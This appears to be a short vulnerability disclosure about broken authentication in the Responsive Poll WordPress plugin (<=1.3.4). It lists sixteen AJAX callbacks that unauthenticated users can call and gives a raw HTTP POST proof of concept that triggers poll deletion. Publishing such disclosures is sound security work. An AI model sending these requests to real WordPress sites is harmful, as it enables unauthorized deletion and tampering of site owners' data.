pak0s / **Broken Authentication in Responsive Poll Wordpress Plugin 1.3.4.txt**

Created 2 years ago

Broken Authentication in Responsive Poll Wordpress Plugin <=1.3.4

Broken Authentication in Responsive Poll Wordpress Plugin 1.3.4.txt

```
An attacker can call following functions as an unauthenticated user.

TotalSoftPoll_Clone_Callback
TotalSoftPoll_Del_Callback
TotalSoftPoll_Edit_Callback
TotalSoftPoll_Edit_Q_M_Callback
TotalSoftPoll_Edit_Ans_Callback
TotalSoftPoll_Theme_Clone_Callback
TotalSoftPoll_Theme_Edit_Callback
TotalSoftPoll_Theme_Edit1_Callback
TotalSoftPoll_1_Vote_Callback
TotalSoftPoll_1_Results_Callback
TotalSoftPoll_Clone_Set_Callback
TotalSoftPoll_Edit_Set_Callback
TotalSoftPoll_Del_Set_Callback
TS_PTable_New_MTable_DisMiss_Callback_Pol01
TS_Poll_Question_DisMiss_Callback
Total_Soft_Poll_Prev_Callback

Following POC demonstrates that an attacker can send following POST request to

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

action=TotalSoftPoll_Del&foobar=3
```

Just like this POST request, all of the above mentioned components can be called as an unauthenticated user.
```